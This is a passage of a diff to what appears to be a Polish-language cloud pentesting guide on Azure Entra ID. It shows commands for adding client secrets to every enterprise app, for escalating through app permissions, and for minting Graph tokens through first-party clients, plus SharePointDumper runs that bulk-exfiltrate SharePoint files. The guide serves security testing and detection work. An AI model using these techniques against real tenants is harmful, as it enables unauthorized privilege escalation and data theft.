Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Grupy mogą być dynamiczne, co zasadniczo oznacza, że **jeśli użytkownik spełni pewne warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może on nadużyć tej funkcji, aby **dostać się do innych grup**.\
|
||||
> Zobacz, jak nadużyć dynamicznych grup na następującej stronie:
|
||||
> Grupy mogą być dynamiczne, co w zasadzie oznacza, że **jeśli użytkownik spełni określone warunki, zostanie dodany do grupy**. Oczywiście, jeśli warunki opierają się na **atrybutach**, które **użytkownik** może **kontrolować**, może on nadużyć tej funkcji, aby **dostać się do innych grup**.\
|
||||
> Zobacz, jak wykorzystać dynamiczne grupy na następującej stronie:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Właściciel Service Principal może zmienić jego hasło.
|
||||
> Owner of a Service Principal może zmienić jego hasło.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wypisz i spróbuj dodać client secret do każdej Enterprise App</summary>
|
||||
<summary>Wypisz i spróbuj dodać client secret do każdego Enterprise App</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -709,16 +709,17 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### Aplikacje
|
||||
|
||||
Aby uzyskać więcej informacji o aplikacjach sprawdź:
|
||||
Aby uzyskać więcej informacji o aplikacjach, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Kiedy App jest wygenerowany, przydzielane są 2 typy uprawnień:
|
||||
Gdy aplikacja jest utworzona, przyznawane są 3 typy uprawnień:
|
||||
|
||||
- **Permissions** przyznawane **Service Principal**
|
||||
- **Permissions**, które **app** może mieć i używać w **imieniu użytkownika**.
|
||||
- **Uprawnienia** nadane **Service Principal** (poprzez role).
|
||||
- **Uprawnienia**, które **aplikacja** może posiadać i używać **w imieniu użytkownika**.
|
||||
- **API Permissions**, które dają aplikacji uprawnienia w EntraID bez konieczności przydzielania dodatkowych ról.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -772,7 +773,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Znajdź wszystkie aplikacje z uprawnieniami do API innych niż Microsoft (az cli)</summary>
|
||||
<summary>Znajdź wszystkie uprawnienia API aplikacji i oznacz API należące do Microsoft (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -794,6 +795,32 @@ done
|
||||
return 1
|
||||
}
|
||||
|
||||
get_permission_value() {
|
||||
local resource_app_id="$1"
|
||||
local perm_type="$2"
|
||||
local perm_id="$3"
|
||||
local key value
|
||||
key="${resource_app_id}|${perm_type}|${perm_id}"
|
||||
|
||||
value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
|
||||
if [ -n "$value" ]; then
|
||||
printf '%s\n' "$value"
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$perm_type" = "Scope" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
elif [ "$perm_type" = "Role" ]; then
|
||||
value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
|
||||
else
|
||||
value=""
|
||||
fi
|
||||
|
||||
[ -n "$value" ] || value="UNKNOWN"
|
||||
printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
|
||||
printf '%s\n' "$value"
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
tmp_perm_cache="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
# Print all app API permissions and mark if the target API is Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
is_ms="true"
|
||||
else
|
||||
is_ms="false"
|
||||
fi
|
||||
|
||||
permissions_csv=""
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
|
||||
perm_label="${perm_type}:${perm_value}"
|
||||
if [ -z "$permissions_csv" ]; then
|
||||
permissions_csv="$perm_label"
|
||||
else
|
||||
permissions_csv="${permissions_csv},${perm_label}"
|
||||
fi
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
@@ -895,17 +934,17 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **escalate to Global Admin**, przyznając sobie tę rolę.\
|
||||
> Po więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Aplikacja z uprawnieniem **`AppRoleAssignment.ReadWrite`** może **eskalować do Administratora globalnego** przyznając sobie tę rolę.\
|
||||
> Aby uzyskać więcej informacji [**sprawdź to**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Sekretny ciąg znaków, którego aplikacja używa, aby potwierdzić swoją tożsamość przy żądaniu tokenu, to application password.\
|
||||
> Jeśli więc znajdziesz to **password**, możesz uzyskać dostęp jako **service principal** **inside** **tenant**.\
|
||||
> Zwróć uwagę, że to password jest widoczne tylko w momencie wygenerowania (możesz go zmienić, ale nie odzyskasz go ponownie).\
|
||||
> Właściciel **owner** aplikacji **application** może do niej **add a password** (w ten sposób może się nią podszyć).\
|
||||
> Loginy tych **service principals** są **not marked as risky** i **won't have MFA.**
|
||||
> Sekretny ciąg, którego aplikacja używa, by potwierdzić swoją tożsamość przy żądaniu tokena, to hasło aplikacji.\
|
||||
> Zatem, jeśli znajdziesz to **hasło**, możesz uzyskać dostęp jako **service principal** w **tenant**.\
|
||||
> Zwróć uwagę, że to hasło jest widoczne tylko w momencie jego wygenerowania (możesz je zmienić, ale nie możesz odzyskać go ponownie).\
|
||||
> **Właściciel** **aplikacji** może **dodać hasło** do niej (tak, że może się nią podszyć).\
|
||||
> Logowania jako te service principals **nie są oznaczane jako ryzykowne** i **nie będą miały MFA.**
|
||||
|
||||
Można znaleźć listę powszechnie używanych App IDs należących do Microsoft w [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -1012,9 +1051,9 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Role w Entra ID
|
||||
### Entra ID Roles
|
||||
|
||||
Aby uzyskać więcej informacji o rolach Azure, sprawdź:
|
||||
Aby uzyskać więcej informacji o Azure roles, zobacz:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1136,11 +1175,11 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
|
||||
> [!WARNING]
|
||||
> Jeśli urządzenie (VM) jest **AzureAD joined**, użytkownicy z AzureAD będą **mogli się zalogować**.\
|
||||
> Co więcej, jeśli zalogowany użytkownik jest **Owner** urządzenia, będzie on **local admin**.
|
||||
> Co więcej, jeśli zalogowany użytkownik jest **Owner** urządzenia, będzie **administratorem lokalnym**.
|
||||
|
||||
### Jednostki administracyjne
|
||||
### Administrative Units
|
||||
|
||||
Aby uzyskać więcej informacji o jednostkach administracyjnych sprawdź:
|
||||
Aby uzyskać więcej informacji o Administrative Units sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1175,14 +1214,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Microsoft Graph delegowana ekfiltracja danych SharePoint (SharePointDumper)
|
||||
## Microsoft Graph delegowana eksfiltracja danych SharePoint (SharePointDumper)
|
||||
|
||||
Atakujący posiadający **delegowany Microsoft Graph token**, który zawiera **`Sites.Read.All`** lub **`Sites.ReadWrite.All`**, mogą wyliczać **sites/drives/items** przez Graph, a następnie **pobrać zawartość plików** za pomocą **SharePoint pre-authentication download URLs** (czasowo ograniczone URL-e zawierające token dostępu). Skrypt [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatyzuje cały przebieg (enumeration → pre-auth downloads) i generuje telemetrię dla każdego żądania do testów wykrywania.
|
||||
Atakujący z **delegowanym Microsoft Graph tokenem**, który zawiera **`Sites.Read.All`** lub **`Sites.ReadWrite.All`**, mogą enumerować **sites/drives/items** przez Graph i następnie pobierać zawartość plików za pomocą **SharePoint pre-authentication download URLs** (czasowo ograniczone adresy URL osadzające access token). Skrypt [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatyzuje cały przebieg (enumeration → pre-auth downloads) i emituje telemetry per-request do testów wykrywania.
|
||||
|
||||
### Obtaining usable delegated tokens
|
||||
### Uzyskiwanie użytecznych delegowanych tokenów
|
||||
|
||||
- Sam SharePointDumper **nie uwierzytelnia się**; podaj token dostępu (opcjonalnie refresh token).
|
||||
- Pre-consented **first-party clients** można wykorzystać do wygenerowania tokenu Graph bez rejestracji aplikacji. Przykładowe wywołania `Invoke-Auth` (z [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
- SharePointDumper sam **nie uwierzytelnia się**; podaj access token (opcjonalnie refresh token).
|
||||
- Aplikacje z wcześniej udzieloną zgodą — **first-party clients** — można nadużyć, aby wygenerować Graph token bez rejestracji aplikacji. Przykładowe wywołania `Invoke-Auth` (z [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1195,11 +1234,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> Klienci FOCI TRUE obsługują odświeżanie na różnych urządzeniach; klienci FOCI FALSE często wymagają `-Origin`, aby spełnić walidację pochodzenia reply URL.
|
||||
> FOCI TRUE clients obsługują refresh na różnych urządzeniach; FOCI FALSE clients często wymagają `-Origin`, aby spełnić walidację origin reply URL.
|
||||
|
||||
### Uruchamianie SharePointDumper do enumeration + exfiltration
|
||||
|
||||
- Podstawowy dump z custom UA / proxy / throttling:
|
||||
- Podstawowy zrzut z niestandardowym UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
@@ -1211,16 +1250,16 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Automatyczne odświeżanie tokena przy HTTP 401** (wymaga załadowanego EntraTokenAid):
|
||||
- **Automatyczne odświeżanie tokenu przy HTTP 401** (wymaga załadowanego EntraTokenAid):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Uwagi operacyjne:
|
||||
|
||||
- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tool’s API log.
|
||||
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
|
||||
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
|
||||
- Preferuje tokeny CAE-enabled, aby uniknąć wygaśnięcia w trakcie uruchomienia; próby odświeżenia **nie** są logowane w logu API narzędzia.
|
||||
- Generuje **CSV/JSON request logs** dla **Graph + SharePoint** i domyślnie maskuje osadzone SharePoint download tokens (opcjonalne).
|
||||
- Obsługuje **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, oraz **Ctrl+C-safe shutdown** do kształtowania ruchu podczas testów wykrywania/IR.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
@@ -1238,25 +1277,25 @@ Uwagi operacyjne:
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) w Azure pomaga **zapobiegać nadmiernemu przyznawaniu uprawnień** użytkownikom bez potrzeby.
|
||||
Privileged Identity Management (PIM) w Azure pomaga **zapobiegać nadmiernemu przydzielaniu uprawnień** użytkownikom.
|
||||
|
||||
Jedną z głównych funkcji PIM jest umożliwienie nieprzyznawania ról podmiotom, które byłyby stale aktywne, lecz oznaczanie ich jako **uprawnione na określony czas (np. 6 miesięcy)**. Gdy użytkownik chce aktywować tę rolę, musi poprosić o nią, wskazując czas, na jaki potrzebuje uprawnień (np. 3 godziny). Następnie **admin musi zatwierdzić** żądanie.\
|
||||
Zauważ, że użytkownik będzie mógł również poprosić o **wydłużenie** czasu.
|
||||
Jedną z głównych funkcji PIM jest to, że pozwala nie przypisywać ról principalom jako stale aktywnych, lecz uczynić je **dostępnymi na określony okres (np. 6 miesięcy)**. Gdy użytkownik chce aktywować taką rolę, musi o nią wystąpić, wskazując czas, na jaki potrzebuje uprawnień (np. 3 godziny). Następnie **admin** musi zatwierdzić prośbę.\
|
||||
Uwaga: użytkownik będzie także mógł poprosić o **wydłużenie** czasu.
|
||||
|
||||
Ponadto, **PIM wysyła e-maile** za każdym razem, gdy rola uprzywilejowana jest przypisywana komuś.
|
||||
Co więcej, **PIM wysyła e-maile** za każdym razem, gdy komuś przypisywana jest rola uprzywilejowana.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Po włączeniu PIM można skonfigurować dla każdej roli pewne wymagania, takie jak:
|
||||
Gdy PIM jest włączony, można skonfigurować każdą rolę z następującymi wymaganiami:
|
||||
|
||||
- Maksymalny czas trwania (w godzinach) aktywacji
|
||||
- Maksymalny czas (w godzinach) aktywacji
|
||||
- Wymagaj MFA przy aktywacji
|
||||
- Wymagaj Conditional Access acuthenticaiton context
|
||||
- Wymagaj kontekstu uwierzytelnienia Conditional Access
|
||||
- Wymagaj uzasadnienia przy aktywacji
|
||||
- Wymagaj informacji o ticket'cie przy aktywacji
|
||||
- Wymagaj zatwierdzenia, aby aktywować
|
||||
- Maksymalny czas do wygaśnięcia przypisań kwalifikowanych
|
||||
- Wiele więcej ustawień dotyczących kiedy i komu wysyłać powiadomienia, gdy z tą rolą dzieją się określone akcje
|
||||
- Wymagaj informacji o zgłoszeniu przy aktywacji
|
||||
- Wymagaj zatwierdzenia aktywacji
|
||||
- Maksymalny czas do wygaśnięcia przypisań 'eligible'
|
||||
- Wiele innych ustawień dotyczących kiedy i komu wysyłać powiadomienia przy określonych działaniach związanych z tą rolą
|
||||
|
||||
### Conditional Access Policies
|
||||
|
||||
@@ -1268,21 +1307,21 @@ Sprawdź:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection to usługa bezpieczeństwa, która pozwala **wykryć, kiedy użytkownik lub logowanie jest zbyt ryzykowne** aby je zaakceptować, umożliwiając **zablokowanie** użytkownika lub próby logowania.
|
||||
Entra Identity Protection to usługa bezpieczeństwa, która pozwala **wykryć, gdy użytkownik lub logowanie jest zbyt ryzykowne**, by je zaakceptować, umożliwiając **zablokowanie** użytkownika lub próby logowania.
|
||||
|
||||
Umożliwia administratorowi skonfigurowanie blokowania prób, gdy ryzyko jest "Low and above", "Medium and above" lub "High". Jednak domyślnie jest całkowicie **wyłączone**:
|
||||
Administrator może skonfigurować ją tak, by **blokowała** próby, gdy ryzyko jest "Low and above", "Medium and above" lub "High". Jednak domyślnie jest całkowicie **wyłączona**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> W dzisiejszych czasach zaleca się dodawanie tych ograniczeń poprzez Conditional Access policies, gdzie można skonfigurować te same opcje.
|
||||
> Obecnie zaleca się dodawanie tych ograniczeń poprzez Conditional Access policies, gdzie można skonfigurować te same opcje.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja bezpieczeństwa, która **pomaga zapobiegać nadużyciom słabych haseł poprzez blokowanie kont, gdy wystąpi kilka nieudanych prób logowania**.\
|
||||
Pozwala też **zablokować niestandardową listę haseł**, którą należy dostarczyć.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) to funkcja bezpieczeństwa, która **pomaga zapobiegać nadużyciu słabych haseł, blokując konta po kilku nieudanych próbach logowania**.\
|
||||
Pozwala też **zablokować niestandardową listę haseł**, którą trzeba dostarczyć.
|
||||
|
||||
Może być **stosowana zarówno** w chmurze, jak i w on-premises Active Directory.
|
||||
Może być stosowana **zarówno** w chmurze, jak i w lokalnym Active Directory.
|
||||
|
||||
Domyślny tryb to **Audit**:
|
||||
|
||||
|
||||
Reference in New Issue
Block a user